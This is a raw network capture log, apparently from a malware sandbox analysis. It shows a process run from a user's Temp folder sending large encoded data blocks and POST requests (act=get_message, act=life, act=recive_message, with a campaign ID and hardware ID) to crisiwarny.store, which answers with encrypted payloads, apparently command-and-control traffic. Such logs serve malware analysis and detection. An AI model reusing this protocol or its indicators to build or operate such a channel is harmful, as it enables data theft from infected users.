2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: de 05 96 ce 2c 1b 44 f6 38 bf a2 f7 2b 26 57 19 9a 51 dd 31 ba e2 e8 f6 95 1b 73 7d b3 83 f2 4e 95 bc ab 59 2c 75 2e de 3c ee 9f 8e 15 e8 24 cf ee 60 79 5e 61 f2 7b 1c e8 6e c8 29 85 14 cd c2 10 3b 5b 57 19 3f 2f 34 53 d1 fb ea e0 80 a4 24 3f 9c 8b 06 19 4d 44 03 be dc 5b a3 41 95 d4 4b a8 c1 db 60 10 83 fa 08 05 90 60 79 88 7c 2a 2a c2 67 1e c2 1d 5a fc ae 55 11 e9 7a 8f 7f 38 85 95 c7 b5 be a4 3a 99 29 68 6c 5a 9e cc 42 88 67 13 b6 b5 88 ec 8b bb 75 86 e6 8e e2 ea 7d 16 d8 3e da 7b 8a a4 8d 46 03 d4 af b6 8f eb a1 70 e8 ef 43 2e ce 3d 21 ef ac 6b 3f 3d 7f 18 c5 58 1a 17 e1 cf 23 df 10 e6 5a 8b 5c b3 a9 90 55 d9 bf 98 bb 3d 40 69 5c bc e0 ac c3 2c 71 72 39 5e d1 e1 54 46 3a 3d c9 83 18 cf de 77 1c 53 fb 8a 2f 49 89 f1 4a 34 29 01 d1 f6 3b 56 21 f9 49 2d Data Ascii: ,D8+&WQ1s}NY,u.<$`y^a{n);[W?/4S$?MD[AK``y\|**gZUz8:)hlZBgu}>{FpC.=!k?=X#Z\U=@i\,qr9^TF:=wS/IJ4);V!I-
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: 41 cb d8 a4 c5 ba 23 ad 76 c7 60 89 9f ea c9 7c c8 9e 76 03 ef 27 94 fd d4 cc 04 e9 8c e2 c3 fa 7c fa 57 3d fe 41 f8 9e c1 88 5b e9 a5 07 10 be c8 a5 ce ef d9 4c 01 f1 4b 77 60 c8 a6 46 d5 ff 67 37 c1 72 8f 47 af ca 83 c4 b7 6a 06 57 51 99 7e c8 c7 55 e7 ae d7 75 8b b7 26 17 40 2d e3 78 50 c9 07 2a ed 6e a9 05 87 23 c2 e2 de b9 dc e3 bc 6d a4 eb 81 81 0b 89 da 4f e8 54 53 0b 73 5f ee 97 dd b5 a5 9a bd b5 a7 ae 37 5d 55 0e 57 a3 66 36 87 5e 3f a1 12 f8 a9 08 2a 84 e9 eb ff 88 50 0e 16 03 38 84 9a 87 74 bc 14 b5 e3 bf 6c 90 28 ee e2 e8 dd ad 42 bf 77 e3 f7 fd ad f8 01 26 5a 9c 91 45 28 ee dd 49 2a aa 1b 3b bb d5 fb 18 f0 19 5c 18 d7 92 2b 09 58 dd 52 65 e5 5f f7 33 67 fe 32 99 b0 0d 59 89 ce db 7e 71 49 60 c2 6c 8d 56 99 53 6e b6 d3 2e e7 18 2e 41 c0 be 6a Data Ascii: A#v`\|v'\|W=A[LKw`Fg7rGjWQ~Uu&@-xPn#mOTSs_7]UWf6^?P8tl(Bw&ZE(I*;\+XRe_3g2Y~qI`lVSn..Aj
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: ec e7 1e f5 2e 0a a0 44 20 de 78 bb aa b5 92 70 bd 26 0d 1a ef 5f aa fa a6 82 06 a8 5e fe 23 a9 0b 5b 13 ca 58 df b9 d9 1e 72 ff 0a 12 40 78 a5 cb 7c 66 73 36 65 76 90 90 ae 5b 0d 70 3d 7a f2 6d ad da af d2 da 7b 0f 79 8f 94 04 ee 6f d7 b4 39 c4 71 0c d1 df 00 c3 25 de e0 2a c8 f1 72 ab 86 f5 d8 4f 9b 86 ca 54 2b 68 17 2c b0 3b 3a f1 6e 60 4a 4c 30 4b 63 37 df fd de e3 1a 0b fd 78 4a fb 97 b4 c7 25 c3 2d 21 3b e3 ff 22 aa fe 79 5e 79 24 db 64 b6 f2 dc 06 e7 1c 8b df fe 80 7b dd 55 b4 67 5d 22 03 dd a0 4b 2f 44 7d 9e df 30 63 77 2d 9f c5 8e 64 be a4 e8 c7 4b 61 fb 0f ba 38 2b b6 7f bb b5 2d ce ba 63 18 13 87 1c 0f 95 2a 1c 51 dc 3e b0 39 bf 4c 5f 4b df 2c 9f 5f 25 a8 b5 43 a6 c1 bc 2c 7f 2f fc 8d 77 22 48 10 77 8d 83 a0 50 8c 24 69 29 9a eb 64 b2 15 d4 f1 Data Ascii: .D xp&_^#[Xr@x\|fs6ev[p=zm{yo9q%rOT+h,;:n`JL0Kc7xJ%-!;"y^y$d{Ug]"K/D}0cw-dKa8+-cQ>9L_K,_%C,/w"HwP$i)d
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: ae 46 dc 33 1c 32 a6 13 78 8e 2b 47 1f 86 b7 cb 29 26 51 05 14 6f 58 27 d4 e9 f7 52 23 3f 62 77 49 bc 23 75 e1 1c 43 8c e6 11 e3 56 3d da ae b4 62 9e 24 5a 72 c3 73 15 77 91 aa 29 f7 3a bf c4 f7 6f 58 3e 8a ed 99 7a 57 e2 92 12 6b fd 36 bb 7a 43 42 59 38 10 8d f2 c1 15 a9 a3 3d ce 62 c6 68 1b e9 89 e5 e2 4b 2c 8c 8b 1d b6 eb 46 54 8b c8 98 99 cd 46 da 48 74 e4 c9 52 7b 33 ff db 64 c1 6d 96 a2 d7 d0 ea 0e 46 f3 b5 0e ca 75 d7 3c c9 92 47 2c 0e ed 67 cf 59 d8 af 0f 4d a3 67 6e 22 13 5a ab ab eb 65 0f 1a e0 6b f1 af e8 cf 39 ca 68 1b 4d e4 20 57 f3 b1 a3 62 ea 58 88 79 93 7c 58 c1 f5 ee fa b2 dd db ca 21 1f d4 65 2f 84 67 84 97 8e 17 e6 aa 56 9d ae f2 f4 49 33 54 1b 26 a8 5d a7 c5 7d 41 31 6d 24 88 1f 60 7f a3 1e 83 88 90 28 53 49 27 aa 37 ec 85 74 34 56 71 Data Ascii: F32x+G)&QoX'R#?bwI#uCV=b$Zrsw):oX>zWk6zCBY8=bhK,FTFHtR{3dmFu<G,gYMgn"Zek9hM WbXy\|X!e/gVI3T&]}A1m$`(SI'7t4Vq
2024-10-26 06:54:17 UTC	15331	OUT	Data Raw: 84 d1 de 48 5e 47 d9 1d 0e 25 a5 a2 c1 8a be c7 7c a8 f7 af 28 bc 7c 2e 00 bf 96 c7 ab c7 f1 6c c7 72 39 17 fd 06 57 7e 8b d2 db 9c e7 df 26 71 cb dc fb b4 b9 eb 98 d9 17 9e 6d 15 17 9b aa 98 b7 97 f8 d4 db 81 f7 b9 cb b6 94 fd 98 6d c0 da d0 c6 78 dd 3e 6c 2e 3b 7f 3f 78 3f 09 19 96 26 36 5b 03 40 fc ad b9 39 4a bf 53 00 cb 9a 55 5b 68 52 16 70 f4 71 9f 35 8c 89 49 0e 1a 09 72 36 28 65 d9 b7 f8 4e 99 06 0b 5d 28 e9 af af 1e b9 fd d9 e3 68 5f 4f 73 9a 26 d1 8c 48 2f e9 0f 6c 36 2b f7 2f b8 58 79 8d 1a 34 51 b6 fd 16 8c d9 f8 08 16 ff 81 c7 c8 d3 f0 e6 0d d3 07 44 b3 4f 24 7c bc e6 d0 7b 47 e6 d2 ed 9b 60 cd a5 4d b1 aa 26 db ee a7 2e fc 3b 5d e0 7f d3 da f4 41 4e 8c 0e 52 f1 16 20 d3 88 71 05 83 a7 e6 e3 5d 18 99 57 15 c4 51 24 8b 5b 17 c2 f6 3c 1d d8 ed Data Ascii: H^G%\|(\|.lr9W~&qmmx>l.;?x?&6[@9JSU[hRpq5Ir6(eN](h_Os&H/l6+/Xy4QDO$\|{G`M&.;]ANR q]WQ$[<
2024-10-26 06:54:18 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d724tarahlvjr667ic76htcf36; expires=Wed, 19 Feb 2025 00:40:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YkTOStRSAj6rDdqWMc6WzacjojQqtidkkOm8D%2B1b5Ufb%2Bgro98e55UY45So44%2B0AqB1U7Hqu3dhTbHk2yGY3qklzGx%2FfzEL70pQ19gDXc3UeESuXnI01c6ymzDNug8ArUQ9D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888bd9c71026d-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116233&sent=278&recv=496&lost=0&retrans=0&sent_bytes=2837&recv_bytes=571812&delivery_rate=24906&cwnd=32&unsent_bytes=0&cid=531768d02eebfd74&ts=1599&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49994	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 06:54:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=712E0BD30ABFADA15791AE78524BD06B
2024-10-26 06:54:21 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=njvmva8r4mq0j1dcj206so9bn6; expires=Wed, 19 Feb 2025 00:41:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GRDVOEBRJJZonZ0tp1QfM2Sll7R46zOqq2mGQ1%2F7xVP0wzIzm0V9xBWjfP9u1i3%2FeEqxVwP6UMa9C9uPvoJQMkahF6AuV1dSVWDq0ZGMgH8CE7v0h%2BzRNjt7H9PlBv7faVcw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888ceeaff2298-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116193&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=24912&cwnd=32&unsent_bytes=0&cid=4db8fe5b3486a6d5&ts=1760&x=0"
2024-10-26 06:54:21 UTC	299	IN	Data Raw: 31 32 34 0d 0a 36 71 2f 31 4c 2b 69 6d 7a 49 6b 4b 7a 71 44 59 70 4b 2b 34 63 77 38 71 68 39 6a 78 2b 7a 73 30 78 6d 36 36 7a 54 68 2b 78 6b 79 78 31 4e 64 61 79 70 7a 75 34 58 36 36 30 4f 4c 34 67 4f 52 63 50 68 4b 79 39 73 50 4b 44 68 72 33 58 34 6e 6a 43 55 69 61 59 34 66 47 6d 30 71 30 69 62 37 6f 5a 4b 72 50 74 59 72 4b 77 42 59 74 42 71 57 2b 68 64 6b 42 42 4f 70 4d 33 2b 38 43 54 72 74 67 6b 59 32 41 44 64 4b 45 70 50 31 2b 76 70 71 45 69 2f 4f 58 51 6a 63 66 71 65 72 41 7a 68 55 46 39 31 32 55 2f 41 34 69 36 54 2b 65 79 70 52 43 74 49 6d 2b 36 47 53 71 7a 37 57 4b 79 73 41 57 4c 51 61 6c 76 6f 58 5a 41 51 54 71 54 4e 2f 76 41 6b 36 37 59 4a 47 4e 67 41 33 53 68 4b 54 39 66 72 36 61 68 49 76 7a 6c 30 49 33 48 36 6e 71 77 4d 34 56 42 66 64 64 6c 50 Data Ascii: 1246q/1L+imzIkKzqDYpK+4cw8qh9jx+zs0xm66zTh+xkyx1Ndaypzu4X660OL4gORcPhKy9sPKDhr3X4njCUiaY4fGm0q0ib7oZKrPtYrKwBYtBqW+hdkBBOpM3+8CTrtgkY2ADdKEpP1+vpqEi/OXQjcfqerAzhUF912U/A4i6T+eypRCtIm+6GSqz7WKysAWLQalvoXZAQTqTN/vAk67YJGNgA3ShKT9fr6ahIvzl0I3H6nqwM4VBfddlP
2024-10-26 06:54:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49995	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:22 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 06:54:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 06:54:23 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=deakqu35v7r2s1l7d2to9mnmpm; expires=Wed, 19 Feb 2025 00:41:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fci4E4CSQv84OQ9PHRMrcYkV3s1bEfPaT58jC2%2B1Kgi%2BD7JYB1xhB9gW%2BoAoHk%2BoW8MWst%2Bfa7cCp%2BUJr4aqxET7G7NydWConuLjpzofZaqQMrJOAqqgz8GCoc1N85Cy2yMe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888e16f6d6f1d-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116504&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=24851&cwnd=32&unsent_bytes=0&cid=3a71a0e6599ab6c3&ts=1054&x=0"
2024-10-26 06:54:23 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 06:54:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49999	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:24 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 06:54:24 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 06:54:24 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ru2ce3ffjd4qrocpncv0vcg7rh; expires=Wed, 19 Feb 2025 00:41:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xp1oaM0ngr69C8fnhi3w8fDv%2FLnfXHYUoo4cpuB7dBYu6LbAiHany6045Y%2BbCFl%2BDHLLzv51UaUrm9hkGWoSrJk%2BsWF39dcd3AsuSjlC7zyYCHRq3innQuMUSze5xpw9X2L1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888e99e1e60e8-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103829&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=952&delivery_rate=27887&cwnd=32&unsent_bytes=0&cid=8f85affb24cf850e&ts=430&x=0"
2024-10-26 06:54:24 UTC	361	IN	Data Raw: 34 34 36 63 0d 0a 32 4f 33 63 6e 36 34 4f 30 6d 4f 69 34 6f 34 33 33 48 59 62 6e 6e 63 62 34 52 4f 33 33 64 62 6f 4b 59 6f 34 50 2b 2f 53 4e 47 4f 6a 7a 36 71 39 6c 44 72 2b 51 64 47 48 72 41 32 6f 42 47 37 37 57 7a 6d 41 64 35 58 6e 73 49 6c 46 2b 56 30 54 7a 61 52 5a 51 65 4b 4c 76 66 50 64 61 2f 35 42 78 35 71 73 44 59 63 4e 4f 66 73 5a 4f 64 73 78 30 72 65 30 69 55 58 6f 57 56 53 41 6f 6c 67 41 73 49 47 37 39 38 74 74 74 67 4c 4f 6a 2b 74 53 75 52 64 78 38 42 35 32 69 58 36 56 38 66 53 4e 55 36 67 43 48 61 4b 33 51 41 4b 56 6a 4b 2f 30 6a 48 50 2b 47 49 43 48 34 42 58 6d 56 48 72 37 46 58 65 48 64 39 79 31 76 6f 42 4e 36 56 78 56 6e 37 74 53 43 37 43 50 75 50 62 42 5a 4b 49 50 78 49 6a 67 56 4c 4d 58 4f 62 4a 56 66 70 73 78 6a 66 2f 6e 75 45 6a 35 53 Data Ascii: 446c2O3cn64O0mOi4o433HYbnncb4RO33dboKYo4P+/SNGOjz6q9lDr+QdGHrA2oBG77WzmAd5XnsIlF+V0TzaRZQeKLvfPda/5Bx5qsDYcNOfsZOdsx0re0iUXoWVSAolgAsIG798tttgLOj+tSuRdx8B52iX6V8fSNU6gCHaK3QAKVjK/0jHP+GICH4BXmVHr7FXeHd9y1voBN6VxVn7tSC7CPuPbBZKIPxIjgVLMXObJVfpsxjf/nuEj5S
2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 6e 55 4b 77 66 63 50 45 59 65 59 35 37 32 72 79 30 6a 55 48 69 56 56 65 4a 76 56 73 48 75 6f 2f 2b 73 34 78 72 71 45 47 59 77 4d 39 51 72 68 4e 31 36 6c 64 44 77 32 36 62 70 76 53 4e 52 36 67 43 48 59 57 31 56 51 4b 78 67 4c 33 31 78 33 36 77 45 38 61 4e 36 55 65 34 45 58 66 32 46 6d 75 4a 66 39 4f 38 76 59 46 43 37 56 31 5a 7a 66 34 57 42 71 4c 50 35 72 33 74 59 62 73 4e 79 70 66 73 46 61 46 61 59 4c 77 53 64 63 4d 70 6c 62 75 31 6a 6b 72 73 56 46 4f 4a 76 46 41 50 74 34 43 34 39 38 78 72 75 67 6e 49 67 65 46 65 73 52 52 38 38 52 46 2f 6a 33 44 51 2f 2f 72 4b 54 50 41 61 42 63 32 65 55 51 4b 6f 7a 59 76 2b 77 6d 4b 33 46 34 43 66 6f 6b 7a 2b 45 33 57 38 54 54 6d 4e 64 4e 71 74 74 5a 68 4f 35 6b 68 52 69 4c 5a 62 41 72 53 50 75 2f 72 42 59 72 59 47 77 34 Data Ascii: nUKwfcPEYeY572ry0jUHiVVeJvVsHuo/+s4xrqEGYwM9QrhN16ldDw26bpvSNR6gCHYW1VQKxgL31x36wE8aN6Ue4EXf2FmuJf9O8vYFC7V1Zzf4WBqLP5r3tYbsNypfsFaFaYLwSdcMplbu1jkrsVFOJvFAPt4C498xrugnIgeFesRR88RF/j3DQ//rKTPAaBc2eUQKozYv+wmK3F4Cfokz+E3W8TTmNdNqttZhO5khRiLZbArSPu/rBYrYGw4
2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 45 33 57 38 54 54 6d 50 65 4e 57 30 76 6f 35 4c 37 31 64 59 6a 72 64 56 44 4c 32 46 73 50 72 49 59 4c 6b 4d 78 6f 44 72 55 62 73 47 66 50 55 5a 64 63 4d 2f 6c 62 69 73 79 68 4f 6f 64 56 71 62 73 33 6b 43 71 34 62 2b 34 6f 4a 31 38 41 62 4d 77 4c 51 56 75 52 46 78 39 78 4e 78 67 32 50 51 73 62 2b 4c 51 65 35 62 55 49 47 32 56 67 43 36 69 62 4c 39 79 32 75 69 45 38 57 47 2f 6c 2f 2b 57 6a 6e 37 44 54 6e 62 4d 65 4f 76 6f 35 74 64 71 6d 39 65 67 37 35 52 46 2f 71 51 38 4f 53 4d 61 37 78 42 6d 4d 44 6e 56 62 49 54 63 66 6f 52 63 59 78 2b 33 4b 32 31 68 6b 58 36 58 56 32 45 76 6c 6b 4e 73 34 4b 35 38 4d 64 6d 76 51 58 48 67 61 77 62 2f 68 4e 68 76 45 30 35 74 57 48 59 73 35 71 42 52 2b 45 61 51 73 4f 70 46 67 61 32 7a 2b 61 39 79 47 43 34 43 38 2b 4a 35 6c 2b Data Ascii: E3W8TTmPeNW0vo5L71dYjrdVDL2FsPrIYLkMxoDrUbsGfPUZdcM/lbisyhOodVqbs3kCq4b+4oJ18AbMwLQVuRFx9xNxg2PQsb+LQe5bUIG2VgC6ibL9y2uiE8WG/l/+Wjn7DTnbMeOvo5tdqm9eg75RF/qQ8OSMa7xBmMDnVbITcfoRcYx+3K21hkX6XV2EvlkNs4K58MdmvQXHgawb/hNhvE05tWHYs5qBR+EaQsOpFga2z+a9yGC4C8+J5l+
2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 68 6f 35 7a 54 48 53 70 2f 54 53 43 38 64 39 61 4d 2b 52 62 45 47 6c 77 61 65 39 79 32 44 77 57 59 43 4d 37 31 6d 32 47 33 2f 31 47 58 4f 4b 65 74 6d 30 73 49 5a 43 37 56 78 63 69 4c 56 58 42 62 61 46 75 50 37 50 59 37 38 4f 79 4d 43 69 46 62 6b 4d 4f 61 52 56 58 4a 52 36 32 37 6e 30 6c 51 58 78 47 6c 71 42 38 41 35 42 74 6f 61 34 2b 38 6c 67 73 51 66 49 68 65 52 52 76 78 4a 2f 2f 78 70 39 68 6e 44 61 75 37 69 45 51 65 6c 62 55 59 61 2f 58 51 54 36 77 66 37 36 31 43 7a 6f 51 66 47 44 2b 6b 4b 75 47 44 6e 6a 57 32 44 44 64 74 6e 2f 37 4d 70 4b 2b 6c 42 58 67 37 56 5a 42 4c 6d 41 75 66 44 4b 59 4c 6f 49 79 49 62 6a 58 4b 77 58 64 66 49 53 64 34 39 2f 32 4c 57 33 68 77 75 6d 47 6c 71 56 38 41 35 42 6c 6f 69 7a 30 38 64 67 74 30 48 66 7a 76 55 56 75 52 67 35 Data Ascii: ho5zTHSp/TSC8d9aM+RbEGlwae9y2DwWYCM71m2G3/1GXOKetm0sIZC7VxciLVXBbaFuP7PY78OyMCiFbkMOaRVXJR627n0lQXxGlqB8A5Btoa4+8lgsQfIheRRvxJ//xp9hnDau7iEQelbUYa/XQT6wf761CzoQfGD+kKuGDnjW2DDdtn/7MpK+lBXg7VZBLmAufDKYLoIyIbjXKwXdfISd49/2LW3hwumGlqV8A5Bloiz08dgt0HfzvUVuRg5
2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 4e 48 30 71 2b 6b 69 51 6e 5a 54 46 36 62 75 31 73 4e 2b 70 44 77 35 49 78 72 76 45 47 59 77 4f 70 61 74 78 64 32 2f 52 78 31 6a 6e 54 63 75 72 57 4d 54 2b 4a 51 58 59 75 32 56 77 53 77 6a 4c 2f 33 78 57 75 34 42 73 4f 53 72 42 76 2b 45 32 47 38 54 54 6d 71 64 73 65 78 70 4d 70 55 70 6b 4d 64 69 72 77 57 57 66 71 4c 74 50 4c 49 61 37 77 48 78 59 62 68 56 4c 45 56 65 66 4d 52 63 6f 70 33 31 4c 4b 78 68 30 2f 36 55 46 61 43 76 46 38 4e 74 38 2f 77 76 63 74 30 38 46 6d 41 73 65 46 62 73 42 4e 76 76 41 6f 33 6d 6a 48 53 73 2f 54 53 43 2b 6c 57 55 6f 36 2f 56 51 4b 37 68 61 7a 76 77 47 57 34 42 4d 79 4c 34 6c 4f 73 45 6e 62 31 46 6e 71 4b 64 74 32 7a 76 6f 6c 4d 71 42 51 64 69 71 67 57 57 66 71 73 71 65 33 42 4c 4b 39 50 32 63 44 72 57 66 35 4d 4f 66 51 59 63 Data Ascii: NH0q+kiQnZTF6bu1sN+pDw5IxrvEGYwOpatxd2/Rx1jnTcurWMT+JQXYu2VwSwjL/3xWu4BsOSrBv+E2G8TTmqdsexpMpUpkMdirwWWfqLtPLIa7wHxYbhVLEVefMRcop31LKxh0/6UFaCvF8Nt8/wvct08FmAseFbsBNvvAo3mjHSs/TSC+lWUo6/VQK7hazvwGW4BMyL4lOsEnb1FnqKdt2zvolMqBQdiqgWWfqsqe3BLK9P2cDrWf5MOfQYc
2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 32 76 59 35 44 36 31 70 5a 69 62 64 54 41 72 61 45 75 66 37 44 61 4c 6b 50 79 59 2b 73 47 2f 34 54 59 62 78 4e 4f 61 4a 71 31 72 4f 35 79 6c 53 6d 51 78 32 4b 76 42 5a 5a 2b 6f 4f 77 2b 4d 78 6d 74 67 58 46 68 75 5a 51 76 68 39 36 38 78 46 2f 68 33 37 56 74 4c 32 4c 54 65 31 51 56 6f 75 39 56 51 65 38 7a 2f 43 39 79 33 54 77 57 59 43 67 39 31 69 79 45 7a 6e 6a 57 32 44 44 64 74 6e 2f 37 4d 70 41 35 46 35 61 6a 62 31 56 43 62 2b 4c 74 50 6a 4d 5a 4b 49 4a 77 49 66 2b 52 37 34 64 66 50 41 57 65 59 64 33 33 4c 6d 33 6a 67 75 6d 47 6c 71 56 38 41 35 42 6c 34 4f 35 31 4d 74 33 38 42 36 4f 6d 61 78 53 73 6c 51 68 76 42 52 79 69 58 37 59 76 4c 4b 4a 51 4f 31 51 58 49 71 34 57 78 4f 35 67 4c 48 35 7a 47 4f 32 42 38 47 50 36 6c 4b 33 46 58 48 37 56 54 66 44 64 73 Data Ascii: 2vY5D61pZibdTAraEuf7DaLkPyY+sG/4TYbxNOaJq1rO5ylSmQx2KvBZZ+oOw+MxmtgXFhuZQvh968xF/h37VtL2LTe1QVou9VQe8z/C9y3TwWYCg91iyEznjW2DDdtn/7MpA5F5ajb1VCb+LtPjMZKIJwIf+R74dfPAWeYd33Lm3jgumGlqV8A5Bl4O51Mt38B6OmaxSslQhvBRyiX7YvLKJQO1QXIq4WxO5gLH5zGO2B8GP6lK3FXH7VTfDds
2024-10-26 06:54:24 UTC	1369	IN	Data Raw: 57 2b 39 4e 55 73 33 2b 46 67 37 36 31 34 65 39 78 57 75 72 45 4e 61 4e 2f 46 4c 2b 4b 7a 65 38 44 54 6e 62 4d 65 43 38 75 6f 52 4d 2f 6b 73 51 71 71 5a 63 42 71 71 49 71 66 4b 4d 49 76 41 48 67 4e 69 2f 47 2f 34 51 61 4c 78 4e 4b 64 45 71 67 4f 7a 6a 32 68 6e 33 46 45 54 4e 70 68 5a 5a 36 4d 48 2b 37 34 77 30 38 45 62 44 6b 76 35 54 76 51 4a 36 75 79 74 48 70 47 76 59 75 61 4f 62 64 64 5a 64 52 34 43 32 51 52 44 32 6d 72 33 7a 77 6d 75 6d 51 59 37 41 34 78 58 6d 4c 54 6d 30 56 55 62 4e 4d 63 33 2f 37 4d 70 2b 36 31 52 54 69 71 5a 48 54 4a 32 56 73 2f 76 62 66 66 42 50 67 49 61 73 44 65 35 61 4f 66 67 45 4f 64 73 68 68 2b 54 68 32 52 79 34 43 45 4c 44 71 52 59 58 2b 74 66 73 73 34 78 2b 38 46 6d 41 78 2b 39 48 72 42 4a 36 36 68 59 2b 76 55 2f 37 75 4c 4b Data Ascii: W+9NUs3+Fg7614e9xWurENaN/FL+Kze8DTnbMeC8uoRM/ksQqqZcBqqIqfKMIvAHgNi/G/4QaLxNKdEqgOzj2hn3FETNphZZ6MH+74w08EbDkv5TvQJ6uytHpGvYuaObddZdR4C2QRD2mr3zwmumQY7A4xXmLTm0VUbNMc3/7Mp+61RTiqZHTJ2Vs/vbffBPgIasDe5aOfgEOdshh+Th2Ry4CELDqRYX+tfss4x+8FmAx+9HrBJ66hY+vU/7uLK
